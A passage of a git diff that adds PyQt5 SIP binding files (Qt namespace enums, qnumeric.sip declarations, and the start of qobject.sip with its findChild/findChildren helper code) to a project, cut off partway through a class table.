Key_Pictures, + Key_Music, + Key_Battery, + Key_Bluetooth, + Key_WLAN, + Key_UWB, + Key_AudioForward, + Key_AudioRepeat, + Key_AudioRandomPlay, + Key_Subtitle, + Key_AudioCycleTrack, + Key_Time, + Key_Hibernate, + Key_View, + Key_TopMenu, + Key_PowerDown, + Key_Suspend, + Key_ContrastAdjust, + Key_MediaPause, + Key_MediaTogglePlayPause, + Key_LaunchG, + Key_LaunchH, + Key_ToggleCallHangup, + Key_VoiceDial, + Key_LastNumberRedial, + Key_Camera, + Key_CameraFocus, + Key_TouchpadToggle, + Key_TouchpadOn, + Key_TouchpadOff, +%If (Qt_5_1_0 -) + Key_MicMute, +%End +%If (Qt_5_2_0 -) + Key_Red, +%End +%If (Qt_5_2_0 -) + Key_Green, +%End +%If (Qt_5_2_0 -) + Key_Yellow, +%End +%If (Qt_5_2_0 -) + Key_Blue, +%End +%If (Qt_5_2_0 -) + Key_ChannelUp, +%End +%If (Qt_5_2_0 -) + Key_ChannelDown, +%End +%If (Qt_5_3_0 -) + Key_Guide, +%End +%If (Qt_5_3_0 -) + Key_Info, +%End +%If (Qt_5_3_0 -) + Key_Settings, +%End +%If (Qt_5_3_0 -) + Key_Exit, +%End +%If (Qt_5_4_0 -) + Key_MicVolumeUp, +%End +%If (Qt_5_4_0 -) + Key_MicVolumeDown, +%End +%If (Qt_5_4_0 -) + Key_New, +%End +%If (Qt_5_4_0 -) + Key_Open, +%End +%If (Qt_5_4_0 -) + Key_Find, +%End +%If (Qt_5_4_0 -) + Key_Undo, +%End +%If (Qt_5_4_0 -) + Key_Redo, +%End +%If (Qt_5_11_0 -) + Key_Dead_Stroke, +%End +%If (Qt_5_11_0 -) + Key_Dead_Abovecomma, +%End +%If (Qt_5_11_0 -) + Key_Dead_Abovereversedcomma, +%End +%If (Qt_5_11_0 -) + Key_Dead_Doublegrave, +%End +%If (Qt_5_11_0 -) + Key_Dead_Belowring, +%End +%If (Qt_5_11_0 -) + Key_Dead_Belowmacron, +%End +%If (Qt_5_11_0 -) + Key_Dead_Belowcircumflex, +%End +%If (Qt_5_11_0 -) + Key_Dead_Belowtilde, +%End +%If (Qt_5_11_0 -) + Key_Dead_Belowbreve, +%End +%If (Qt_5_11_0 -) + Key_Dead_Belowdiaeresis, +%End +%If (Qt_5_11_0 -) + Key_Dead_Invertedbreve, +%End +%If (Qt_5_11_0 -) + Key_Dead_Belowcomma, +%End +%If (Qt_5_11_0 -) + Key_Dead_Currency, +%End +%If (Qt_5_11_0 -) + Key_Dead_a, +%End +%If (Qt_5_11_0 -) + Key_Dead_A, +%End +%If (Qt_5_11_0 -) + Key_Dead_e, +%End +%If (Qt_5_11_0 -) + Key_Dead_E, +%End +%If (Qt_5_11_0 -) + Key_Dead_i, +%End +%If (Qt_5_11_0 -) + Key_Dead_I, +%End +%If (Qt_5_11_0 -) + Key_Dead_o, +%End +%If (Qt_5_11_0 -) + Key_Dead_O, +%End +%If (Qt_5_11_0 -) + Key_Dead_u, +%End +%If (Qt_5_11_0 -) + Key_Dead_U, +%End +%If (Qt_5_11_0 -) + Key_Dead_Small_Schwa, +%End +%If (Qt_5_11_0 -) + Key_Dead_Capital_Schwa, +%End +%If (Qt_5_11_0 -) + Key_Dead_Greek, +%End +%If (Qt_5_11_0 -) + Key_Dead_Lowline, +%End +%If (Qt_5_11_0 -) + Key_Dead_Aboveverticalline, +%End +%If (Qt_5_11_0 -) + Key_Dead_Belowverticalline, +%End +%If (Qt_5_11_0 -) + Key_Dead_Longsolidusoverlay, +%End + }; + + enum ArrowType + { + NoArrow, + UpArrow, + DownArrow, + LeftArrow, + RightArrow, + }; + + enum PenStyle + { + NoPen, + SolidLine, + DashLine, + DotLine, + DashDotLine, + DashDotDotLine, + CustomDashLine, + MPenStyle, + }; + + enum PenCapStyle + { + FlatCap, + SquareCap, + RoundCap, + MPenCapStyle, + }; + + enum PenJoinStyle + { + MiterJoin, + BevelJoin, + RoundJoin, + MPenJoinStyle, + SvgMiterJoin, + }; + + enum BrushStyle + { + NoBrush, + SolidPattern, + Dense1Pattern, + Dense2Pattern, + Dense3Pattern, + Dense4Pattern, + Dense5Pattern, + Dense6Pattern, + Dense7Pattern, + HorPattern, + VerPattern, + CrossPattern, + BDiagPattern, + FDiagPattern, + DiagCrossPattern, + LinearGradientPattern, + RadialGradientPattern, + ConicalGradientPattern, + TexturePattern, + }; + + enum UIEffect + { + UI_General, + UI_AnimateMenu, + UI_FadeMenu, + UI_AnimateCombo, + UI_AnimateTooltip, + UI_FadeTooltip, + UI_AnimateToolBox, + }; + + enum CursorShape + { + ArrowCursor, + UpArrowCursor, + CrossCursor, + WaitCursor, + IBeamCursor, + SizeVerCursor, + SizeHorCursor, + SizeBDiagCursor, + SizeFDiagCursor, + SizeAllCursor, + BlankCursor, + SplitVCursor, + SplitHCursor, + PointingHandCursor, + ForbiddenCursor, + OpenHandCursor, + ClosedHandCursor, + WhatsThisCursor, + BusyCursor, + LastCursor, + BitmapCursor, + CustomCursor, + DragCopyCursor, + DragMoveCursor, + DragLinkCursor, + }; + + enum TextFormat + { + PlainText, + RichText, + AutoText, +%If (Qt_5_14_0 -) + MarkdownText, +%End + }; + + enum AspectRatioMode + { + IgnoreAspectRatio, + KeepAspectRatio, + KeepAspectRatioByExpanding, + }; + + enum DockWidgetArea + { + LeftDockWidgetArea, + RightDockWidgetArea, + TopDockWidgetArea, + BottomDockWidgetArea, + DockWidgetArea_Mask, + AllDockWidgetAreas, + NoDockWidgetArea, + }; + + typedef QFlags DockWidgetAreas; + + enum TimerType + { + PreciseTimer, + CoarseTimer, + VeryCoarseTimer, + }; + + enum ToolBarArea + { + LeftToolBarArea, + RightToolBarArea, + TopToolBarArea, + BottomToolBarArea, + ToolBarArea_Mask, + AllToolBarAreas, + NoToolBarArea, + }; + + typedef QFlags ToolBarAreas; + + enum DateFormat + { + TextDate, + ISODate, +%If (Qt_5_8_0 -) + ISODateWithMs, +%End + LocalDate, + SystemLocaleDate, + LocaleDate, + SystemLocaleShortDate, + SystemLocaleLongDate, + DefaultLocaleShortDate, + DefaultLocaleLongDate, +%If (Qt_5_2_0 -) + RFC2822Date, +%End + }; + + enum TimeSpec + { + LocalTime, + UTC, + OffsetFromUTC, +%If (Qt_5_2_0 -) + TimeZone, +%End + }; + + enum DayOfWeek + { + Monday, + Tuesday, + Wednesday, + Thursday, + Friday, + Saturday, + Sunday, + }; + + enum ScrollBarPolicy + { + ScrollBarAsNeeded, + ScrollBarAlwaysOff, + ScrollBarAlwaysOn, + }; + + enum CaseSensitivity + { + CaseInsensitive, + CaseSensitive, + }; + + enum Corner + { + TopLeftCorner, + TopRightCorner, + BottomLeftCorner, + BottomRightCorner, + }; + + enum ConnectionType + { + AutoConnection, + DirectConnection, + QueuedConnection, + BlockingQueuedConnection, + UniqueConnection, + }; + + enum ShortcutContext + { + WidgetShortcut, + WindowShortcut, + ApplicationShortcut, + WidgetWithChildrenShortcut, + }; + + enum FillRule + { + OddEvenFill, + WindingFill, + }; + + enum ClipOperation + { + NoClip, + ReplaceClip, + IntersectClip, + }; + + enum TransformationMode + { + FastTransformation, + SmoothTransformation, + }; + + enum FocusReason + { + MouseFocusReason, + TabFocusReason, + BacktabFocusReason, + ActiveWindowFocusReason, + PopupFocusReason, + ShortcutFocusReason, + MenuBarFocusReason, + OtherFocusReason, + NoFocusReason, + }; + + enum ContextMenuPolicy + { + NoContextMenu, + PreventContextMenu, + DefaultContextMenu, + ActionsContextMenu, + CustomContextMenu, + }; + + enum InputMethodQuery + { + ImMicroFocus, + ImFont, + ImCursorPosition, + ImSurroundingText, + ImCurrentSelection, + ImMaximumTextLength, + ImAnchorPosition, + ImEnabled, + ImCursorRectangle, + ImHints, + ImPreferredLanguage, + ImPlatformData, + ImQueryInput, + ImQueryAll, +%If (Qt_5_3_0 -) + ImAbsolutePosition, +%End +%If (Qt_5_3_0 -) + ImTextBeforeCursor, +%End +%If (Qt_5_3_0 -) + ImTextAfterCursor, +%End +%If (Qt_5_6_0 -) + ImEnterKeyType, +%End +%If (Qt_5_7_0 -) + ImAnchorRectangle, +%End +%If (Qt_5_7_0 -) + ImInputItemClipRectangle, +%End + }; + + typedef QFlags InputMethodQueries; + + enum ToolButtonStyle + { + ToolButtonIconOnly, + ToolButtonTextOnly, + ToolButtonTextBesideIcon, + ToolButtonTextUnderIcon, + ToolButtonFollowStyle, + }; + + enum LayoutDirection + { + LeftToRight, + RightToLeft, + LayoutDirectionAuto, + }; + + enum DropAction + { + CopyAction, + MoveAction, + LinkAction, + ActionMask, + TargetMoveAction, + IgnoreAction, + }; + + typedef QFlags DropActions; + + enum CheckState + { + Unchecked, + PartiallyChecked, + Checked, + }; + + enum ItemDataRole + { + DisplayRole, + DecorationRole, + EditRole, + ToolTipRole, + StatusTipRole, + WhatsThisRole, + FontRole, + TextAlignmentRole, + BackgroundRole, + BackgroundColorRole, + ForegroundRole, + TextColorRole, + CheckStateRole, + AccessibleTextRole, + AccessibleDescriptionRole, + SizeHintRole, + InitialSortOrderRole, + UserRole, + }; + + enum ItemFlag + { + NoItemFlags, + ItemIsSelectable, + ItemIsEditable, + ItemIsDragEnabled, + ItemIsDropEnabled, + ItemIsUserCheckable, + ItemIsEnabled, + ItemIsTristate, +%If (Qt_5_1_0 -) + ItemNeverHasChildren, +%End +%If (Qt_5_5_0 -) + ItemIsUserTristate, +%End +%If (Qt_5_6_0 -) + ItemIsAutoTristate, +%End + }; + + typedef QFlags ItemFlags; + + enum MatchFlag + { + MatchExactly, + MatchFixedString, + MatchContains, + MatchStartsWith, + MatchEndsWith, + MatchRegExp, + MatchWildcard, + MatchCaseSensitive, + MatchWrap, + MatchRecursive, +%If (Qt_5_15_0 -) + MatchRegularExpression, +%End + }; + + typedef QFlags MatchFlags; + typedef void *HANDLE; + + enum WindowModality + { + NonModal, + WindowModal, + ApplicationModal, + }; + + enum ApplicationAttribute + { + AA_ImmediateWidgetCreation, + AA_MSWindowsUseDirect3DByDefault, + AA_DontShowIconsInMenus, + AA_NativeWindows, + AA_DontCreateNativeWidgetSiblings, + AA_MacPluginApplication, + AA_DontUseNativeMenuBar, + AA_MacDontSwapCtrlAndMeta, + AA_X11InitThreads, + AA_Use96Dpi, + AA_SynthesizeTouchForUnhandledMouseEvents, + AA_SynthesizeMouseForUnhandledTouchEvents, +%If (Qt_5_1_0 -) + AA_UseHighDpiPixmaps, +%End +%If (Qt_5_3_0 -) + AA_ForceRasterWidgets, +%End +%If (Qt_5_3_0 -) + AA_UseDesktopOpenGL, +%End +%If (Qt_5_3_0 -) + AA_UseOpenGLES, +%End +%If (Qt_5_4_0 -) + AA_UseSoftwareOpenGL, +%End +%If (Qt_5_4_0 -) + AA_ShareOpenGLContexts, +%End +%If (Qt_5_5_0 -) + AA_SetPalette, +%End +%If (Qt_5_6_0 -) + AA_EnableHighDpiScaling, +%End +%If (Qt_5_6_0 -) + AA_DisableHighDpiScaling, +%End +%If (Qt_5_7_0 -) + AA_PluginApplication, +%End +%If (Qt_5_7_0 -) + AA_UseStyleSheetPropagationInWidgetStyles, +%End +%If (Qt_5_7_0 -) + AA_DontUseNativeDialogs, +%End +%If (Qt_5_7_0 -) + AA_SynthesizeMouseForUnhandledTabletEvents, +%End +%If (Qt_5_7_0 -) + AA_CompressHighFrequencyEvents, +%End +%If (Qt_5_8_0 -) + AA_DontCheckOpenGLContextThreadAffinity, +%End +%If (Qt_5_9_0 -) + AA_DisableShaderDiskCache, +%End +%If (Qt_5_10_0 -) + AA_DontShowShortcutsInContextMenus, +%End +%If (Qt_5_10_0 -) + AA_CompressTabletEvents, +%End +%If (Qt_5_10_0 -) + AA_DisableWindowContextHelpButton, +%End +%If (Qt_5_14_0 -) + AA_DisableSessionManager, +%End +%If (Qt_5_15_0 -) + AA_DisableNativeVirtualKeyboard, +%End + }; + + enum ItemSelectionMode + { + ContainsItemShape, + IntersectsItemShape, + ContainsItemBoundingRect, + IntersectsItemBoundingRect, + }; + + enum TextInteractionFlag + { + NoTextInteraction, + TextSelectableByMouse, + TextSelectableByKeyboard, + LinksAccessibleByMouse, + LinksAccessibleByKeyboard, + TextEditable, + TextEditorInteraction, + TextBrowserInteraction, + }; + + typedef QFlags TextInteractionFlags; + + enum MaskMode + { + MaskInColor, + MaskOutColor, + }; + + enum Axis + { + XAxis, + YAxis, + ZAxis, + }; + + enum EventPriority + { + HighEventPriority, + NormalEventPriority, + LowEventPriority, + }; + + enum SizeMode + { + AbsoluteSize, + RelativeSize, + }; + + enum SizeHint + { + MinimumSize, + PreferredSize, + MaximumSize, + MinimumDescent, + }; + + enum WindowFrameSection + { + NoSection, + LeftSection, + TopLeftSection, + TopSection, + TopRightSection, + RightSection, + BottomRightSection, + BottomSection, + BottomLeftSection, + TitleBarArea, + }; + + enum TileRule + { + StretchTile, + RepeatTile, + RoundTile, + }; + + enum InputMethodHint + { + ImhNone, + ImhHiddenText, + ImhNoAutoUppercase, + ImhPreferNumbers, + ImhPreferUppercase, + ImhPreferLowercase, + ImhNoPredictiveText, + ImhDigitsOnly, + ImhFormattedNumbersOnly, + ImhUppercaseOnly, + ImhLowercaseOnly, + ImhDialableCharactersOnly, + ImhEmailCharactersOnly, + ImhUrlCharactersOnly, + ImhExclusiveInputMask, + ImhSensitiveData, + ImhDate, + ImhTime, + ImhPreferLatin, + ImhLatinOnly, +%If (Qt_5_1_0 -) + ImhMultiLine, +%End +%If (Qt_5_11_0 -) + ImhNoEditMenu, +%End +%If (Qt_5_11_0 -) + ImhNoTextHandles, +%End + }; + + typedef QFlags InputMethodHints; + + enum AnchorPoint + { + AnchorLeft, + AnchorHorizontalCenter, + AnchorRight, + AnchorTop, + AnchorVerticalCenter, + AnchorBottom, + }; + + enum CoordinateSystem + { + DeviceCoordinates, + LogicalCoordinates, + }; + + enum TouchPointState + { + TouchPointPressed, + TouchPointMoved, + TouchPointStationary, + TouchPointReleased, + }; + + typedef QFlags TouchPointStates; + + enum GestureState + { + GestureStarted, + GestureUpdated, + GestureFinished, + GestureCanceled, + }; + + enum GestureType + { + TapGesture, + TapAndHoldGesture, + PanGesture, + PinchGesture, + SwipeGesture, + CustomGesture, + }; + + enum GestureFlag + { + DontStartGestureOnChildren, + ReceivePartialGestures, + IgnoredGesturesPropagateToParent, + }; + + typedef QFlags GestureFlags; + + enum NavigationMode + { + NavigationModeNone, + NavigationModeKeypadTabOrder, + NavigationModeKeypadDirectional, + NavigationModeCursorAuto, + NavigationModeCursorForceVisible, + }; + + enum CursorMoveStyle + { + LogicalMoveStyle, + VisualMoveStyle, + }; + + enum ScreenOrientation + { + PrimaryOrientation, + PortraitOrientation, + LandscapeOrientation, + InvertedPortraitOrientation, + InvertedLandscapeOrientation, + }; + + typedef QFlags ScreenOrientations; + + enum FindChildOption + { + FindDirectChildrenOnly, + FindChildrenRecursively, + }; + + typedef QFlags FindChildOptions; + + enum WhiteSpaceMode + { + WhiteSpaceNormal, + WhiteSpacePre, + WhiteSpaceNoWrap, + WhiteSpaceModeUndefined, + }; + + enum HitTestAccuracy + { + ExactHit, + FuzzyHit, + }; + +%If (Qt_5_1_0 -) + + enum ApplicationState + { + ApplicationSuspended, + ApplicationHidden, + ApplicationInactive, + ApplicationActive, + }; + +%End +%If (Qt_5_1_0 -) + typedef QFlags ApplicationStates; +%End +%If (Qt_5_1_0 -) + + enum Edge + { + TopEdge, + LeftEdge, + RightEdge, + BottomEdge, + }; + +%End +%If (Qt_5_2_0 -) + + enum NativeGestureType + { + BeginNativeGesture, + EndNativeGesture, + PanNativeGesture, + ZoomNativeGesture, + SmartZoomNativeGesture, + RotateNativeGesture, + SwipeNativeGesture, + }; + +%End +%If (Qt_5_2_0 -) + + enum ScrollPhase + { + ScrollBegin, + ScrollUpdate, + ScrollEnd, +%If (Qt_5_7_0 -) + NoScrollPhase, +%End +%If (Qt_5_12_0 -) + ScrollMomentum, +%End + }; + +%End +%If (Qt_5_3_0 -) + typedef QFlags Edges; +%End +%If (Qt_5_3_0 -) + + enum MouseEventSource + { + MouseEventNotSynthesized, + MouseEventSynthesizedBySystem, + MouseEventSynthesizedByQt, +%If (Qt_5_6_0 -) + MouseEventSynthesizedByApplication, +%End + }; + +%End +%If (Qt_5_3_0 -) + + enum MouseEventFlag + { + MouseEventCreatedDoubleClick, + }; + +%End +%If (Qt_5_3_0 -) + typedef QFlags MouseEventFlags; +%End +%If (Qt_5_5_0 -) + + enum TabFocusBehavior + { + NoTabFocus, + TabFocusTextControls, + TabFocusListControls, + TabFocusAllControls, + }; + +%End +%If (Qt_5_5_0 -) + + enum ItemSelectionOperation + { + ReplaceSelection, + AddToSelection, + }; + +%End +%If (Qt_5_6_0 -) + + enum EnterKeyType + { + EnterKeyDefault, + EnterKeyReturn, + EnterKeyDone, + EnterKeyGo, + EnterKeySend, + EnterKeySearch, + EnterKeyNext, + EnterKeyPrevious, + }; + +%End +%If (Qt_5_9_0 -) + + enum ChecksumType + { + ChecksumIso3309, + ChecksumItuV41, + }; + +%End +%If (Qt_5_14_0 -) + + enum class HighDpiScaleFactorRoundingPolicy + { + Round, + Ceil, + Floor, + RoundPreferFloor, + PassThrough, + }; + +%End +}; + +QFlags operator|(Qt::MouseButton f1, QFlags f2); +QFlags operator|(Qt::Orientation f1, QFlags f2); +QFlags operator|(Qt::KeyboardModifier f1, QFlags f2); +QFlags operator|(Qt::WindowType f1, QFlags f2); +QFlags operator|(Qt::AlignmentFlag f1, QFlags f2); +QFlags operator|(Qt::ImageConversionFlag f1, QFlags f2); +QFlags operator|(Qt::DockWidgetArea f1, QFlags f2); +QFlags operator|(Qt::ToolBarArea f1, QFlags f2); +QFlags operator|(Qt::WindowState f1, QFlags f2); +QFlags operator|(Qt::DropAction f1, QFlags f2); +QFlags operator|(Qt::ItemFlag f1, QFlags f2); +QFlags operator|(Qt::MatchFlag f1, QFlags f2); +QFlags operator|(Qt::TextInteractionFlag f1, QFlags f2); +QFlags operator|(Qt::InputMethodHint f1, QFlags f2); +QFlags operator|(Qt::TouchPointState f1, QFlags f2); +QFlags operator|(Qt::GestureFlag f1, QFlags f2); +QFlags operator|(Qt::ScreenOrientation f1, QFlags f2); +QFlags operator|(Qt::InputMethodQuery f1, QFlags f2); +%If (Qt_5_3_0 -) +QFlags operator|(Qt::Edge f1, QFlags f2); +%End +%If (Qt_5_3_0 -) +QFlags operator|(Qt::MouseEventFlag f1, QFlags f2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qnumeric.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qnumeric.sip new file mode 100644 index 00000000..f4ffe904 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qnumeric.sip @@ -0,0 +1,35 @@ +// qnumeric.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%ModuleCode +#include +%End + +bool qIsInf(double d); +bool qIsFinite(double d); +bool qIsNaN(double d); +double qInf(); +double qSNaN(); +double qQNaN(); +%If (Qt_5_3_0 -) +quint64 qFloatDistance(double a, double b); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qobject.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qobject.sip new file mode 100644 index 00000000..4f975a46 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qobject.sip @@ -0,0 +1,772 @@ +// qobject.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +typedef QList QObjectList; + +class QObject /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +%TypeCode +// This is needed by the tr() handwritten implementation. +#include + + +// These are the helper functions for QObject::findChild() and +// QObject::findChildren. + +// Wrap the given type in a 1-tuple. +static PyObject *qtcore_type_to_tuple(PyObject *type) +{ + PyObject *tuple = PyTuple_New(1); + + if (tuple) + { + Py_INCREF(type); + PyTuple_SetItem(tuple, 0, type); + } + + return tuple; +} + + +// Check all elements of a given tuple are type objects and return a new +// reference to the tuple if so. +static PyObject *qtcore_check_tuple_types(PyObject *types) +{ + for (Py_ssize_t i = 0; i < PyTuple_Size(types); ++i) + if (!PyObject_TypeCheck(PyTuple_GetItem(types, i), &PyType_Type)) + { + PyErr_SetString(PyExc_TypeError, + "all elements of the types argument must be type objects"); + return 0; + } + + Py_INCREF(types); + return types; +} + + +// Do the main work of finding a child. +static PyObject *qtcore_do_find_child(const QObject *parent, PyObject *types, const QString &name, Qt::FindChildOptions options) +{ + const QObjectList &children = parent->children(); + int i; + + for (i = 0; i < children.size(); ++i) + { + QObject *obj = children.at(i); + PyObject *pyo = sipConvertFromType(obj, sipType_QObject, 0); + + if (!pyo) + return 0; + + // Allow for proxies. + QObject *resolved = reinterpret_cast(sipGetAddress((sipSimpleWrapper *)pyo)); + + if (name.isNull() || resolved->objectName() == name) + for (Py_ssize_t t = 0; t < PyTuple_Size(types); ++t) + if (PyType_IsSubtype(Py_TYPE(pyo), (PyTypeObject *)PyTuple_GetItem(types, t))) + return pyo; + + Py_DECREF(pyo); + } + + if (options == Qt::FindChildrenRecursively) + for (i = 0; i < children.size(); ++i) + { + PyObject *pyo = qtcore_do_find_child(children.at(i), types, name, options); + + if (pyo != Py_None) + return pyo; + + Py_DECREF(pyo); + } + + Py_INCREF(Py_None); + return Py_None; +} + + +// Find a child that is one of a number of types and with an optional name. +static PyObject *qtcore_FindChild(const QObject *parent, PyObject *types, const QString &name, Qt::FindChildOptions options) +{ + // Check that the types checking was successful. + if (!types) + return 0; + + PyObject *child = qtcore_do_find_child(parent, types, name, options); + + Py_DECREF(types); + + return child; +} + + +// Do the main work of finding the children with a string name. +static bool qtcore_do_find_children(const QObject *parent, PyObject *types, const QString &name, Qt::FindChildOptions options, PyObject *list) +{ + const QObjectList &children = parent->children(); + int i; + + for (i = 0; i < children.size(); ++i) + { + QObject *obj = children.at(i); + PyObject *pyo = sipConvertFromType(obj, sipType_QObject, 0); + + if (!pyo) + return false; + + // Allow for proxies. + QObject *resolved = reinterpret_cast(sipGetAddress((sipSimpleWrapper *)pyo)); + + if (name.isNull() || resolved->objectName() == name) + for (Py_ssize_t t = 0; t < PyTuple_Size(types); ++t) + if (PyType_IsSubtype(Py_TYPE(pyo), (PyTypeObject *)PyTuple_GetItem(types, t))) + if (PyList_Append(list, pyo) < 0) + { + Py_DECREF(pyo); + return false; + } + + Py_DECREF(pyo); + + if (options == Qt::FindChildrenRecursively) + { + bool ok = qtcore_do_find_children(obj, types, name, options, list); + + if (!ok) + return false; + } + } + + return true; +} + + +// Find a child that is one of a number of types and with an optional string +// name. +static PyObject *qtcore_FindChildren(const QObject *parent, PyObject *types, const QString &name, Qt::FindChildOptions options) +{ + // Check that the types checking was successful. + if (!types) + return 0; + + PyObject *list = PyList_New(0); + + if (list) + if (!qtcore_do_find_children(parent, types, name, options, list)) + Py_DECREF(list); + + Py_DECREF(types); + + return list; +} + + +// Do the main work of finding the children with a QRegExp name. +static bool qtcore_do_find_children(const QObject *parent, PyObject *types, const QRegExp &re, Qt::FindChildOptions options, PyObject *list) +{ + const QObjectList &children = parent->children(); + int i; + + for (i = 0; i < children.size(); ++i) + { + QObject *obj = children.at(i); + PyObject *pyo = sipConvertFromType(obj, sipType_QObject, 0); + + if (!pyo) + return false; + + if (re.indexIn(obj->objectName()) >= 0) + for (Py_ssize_t t = 0; t < PyTuple_Size(types); ++t) + if (PyType_IsSubtype(Py_TYPE(pyo), (PyTypeObject *)PyTuple_GetItem(types, t))) + if (PyList_Append(list, pyo) < 0) + { + Py_DECREF(pyo); + return false; + } + + Py_DECREF(pyo); + + if (options == Qt::FindChildrenRecursively) + { + bool ok = qtcore_do_find_children(obj, types, re, options, list); + + if (!ok) + return false; + } + } + + return true; +} + + +// Find a child that is one of a number of types and with an optional QRegExp +// name. +static PyObject *qtcore_FindChildren(const QObject *parent, PyObject *types, const QRegExp &re, Qt::FindChildOptions options) +{ + // Check that the types checking was successful. + if (!types) + return 0; + + PyObject *list = PyList_New(0); + + if (list) + if (!qtcore_do_find_children(parent, types, re, options, list)) + Py_DECREF(list); + + Py_DECREF(types); + + return list; +} + + +// Do the main work of finding the children with a QRegularExpression name. +static bool qtcore_do_find_children(const QObject *parent, PyObject *types, const QRegularExpression &re, Qt::FindChildOptions options, PyObject *list) +{ + const QObjectList &children = parent->children(); + int i; + + for (i = 0; i < children.size(); ++i) + { + QObject *obj = children.at(i); + PyObject *pyo = sipConvertFromType(obj, sipType_QObject, 0); + + if (!pyo) + return false; + + QRegularExpressionMatch m = re.match(obj->objectName()); + + if (m.hasMatch()) + for (Py_ssize_t t = 0; t < PyTuple_Size(types); ++t) + if (PyType_IsSubtype(Py_TYPE(pyo), (PyTypeObject *)PyTuple_GetItem(types, t))) + if (PyList_Append(list, pyo) < 0) + { + Py_DECREF(pyo); + return false; + } + + Py_DECREF(pyo); + + if (options == Qt::FindChildrenRecursively) + { + bool ok = qtcore_do_find_children(obj, types, re, options, list); + + if (!ok) + return false; + } + } + + return true; +} + + +// Find a child that is one of a number of types and with an optional +// QRegularExpression name. +static PyObject *qtcore_FindChildren(const QObject *parent, PyObject *types, const QRegularExpression &re, Qt::FindChildOptions options) +{ + // Check that the types checking was successful. + if (!types) + return 0; + + PyObject *list = PyList_New(0); + + if (list) + if (!qtcore_do_find_children(parent, types, re, options, list)) + Py_DECREF(list); + + Py_DECREF(types); + + return list; +} +%End + +%FinalisationCode + return qpycore_qobject_finalisation(sipSelf, sipCpp, sipKwds, sipUnused); +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QAbstractAnimation, &sipType_QAbstractAnimation, 25, 1}, + {sipName_QAbstractEventDispatcher, &sipType_QAbstractEventDispatcher, -1, 2}, + {sipName_QAbstractItemModel, &sipType_QAbstractItemModel, 31, 3}, + {sipName_QAbstractState, &sipType_QAbstractState, 39, 4}, + {sipName_QAbstractTransition, &sipType_QAbstractTransition, 43, 5}, + {sipName_QIODevice, &sipType_QIODevice, 45, 6}, + {sipName_QCoreApplication, &sipType_QCoreApplication, -1, 7}, + {sipName_QEventLoop, &sipType_QEventLoop, -1, 8}, + #if QT_VERSION >= 0x050200 + {sipName_QFileSelector, &sipType_QFileSelector, -1, 9}, + #else + {0, 0, -1, 9}, + #endif + {sipName_QFileSystemWatcher, &sipType_QFileSystemWatcher, -1, 10}, + {sipName_QItemSelectionModel, &sipType_QItemSelectionModel, -1, 11}, + {sipName_QLibrary, &sipType_QLibrary, -1, 12}, + {sipName_QMimeData, &sipType_QMimeData, -1, 13}, + {sipName_QObjectCleanupHandler, &sipType_QObjectCleanupHandler, -1, 14}, + {sipName_QPluginLoader, &sipType_QPluginLoader, -1, 15}, + {sipName_QSettings, &sipType_QSettings, -1, 16}, + {sipName_QSharedMemory, &sipType_QSharedMemory, -1, 17}, + {sipName_QSignalMapper, &sipType_QSignalMapper, -1, 18}, + {sipName_QSocketNotifier, &sipType_QSocketNotifier, -1, 19}, + {sipName_QThread, &sipType_QThread, -1, 20}, + {sipName_QThreadPool, &sipType_QThreadPool, -1, 21}, + {sipName_QTimeLine, &sipType_QTimeLine, -1, 22}, + {sipName_QTimer, &sipType_QTimer, -1, 23}, + {sipName_QTranslator, &sipType_QTranslator, -1, 24}, + #if defined(Q_OS_WIN) + {sipName_QWinEventNotifier, &sipType_QWinEventNotifier, -1, -1}, + #else + {0, 0, -1, -1}, + #endif + {sipName_QAnimationGroup, &sipType_QAnimationGroup, 28, 26}, + {sipName_QPauseAnimation, &sipType_QPauseAnimation, -1, 27}, + {sipName_QVariantAnimation, &sipType_QVariantAnimation, 30, -1}, + {sipName_QParallelAnimationGroup, &sipType_QParallelAnimationGroup, -1, 29}, + {sipName_QSequentialAnimationGroup, &sipType_QSequentialAnimationGroup, -1, -1}, + {sipName_QPropertyAnimation, &sipType_QPropertyAnimation, -1, -1}, + {sipName_QAbstractListModel, &sipType_QAbstractListModel, 35, 32}, + {sipName_QAbstractProxyModel, &sipType_QAbstractProxyModel, 36, 33}, + {sipName_QAbstractTableModel, &sipType_QAbstractTableModel, -1, 34}, + #if QT_VERSION >= 0x050d00 + {sipName_QConcatenateTablesProxyModel, &sipType_QConcatenateTablesProxyModel, -1, -1}, + #else + {0, 0, -1, -1}, + #endif + {sipName_QStringListModel, &sipType_QStringListModel, -1, -1}, + {sipName_QIdentityProxyModel, &sipType_QIdentityProxyModel, -1, 37}, + 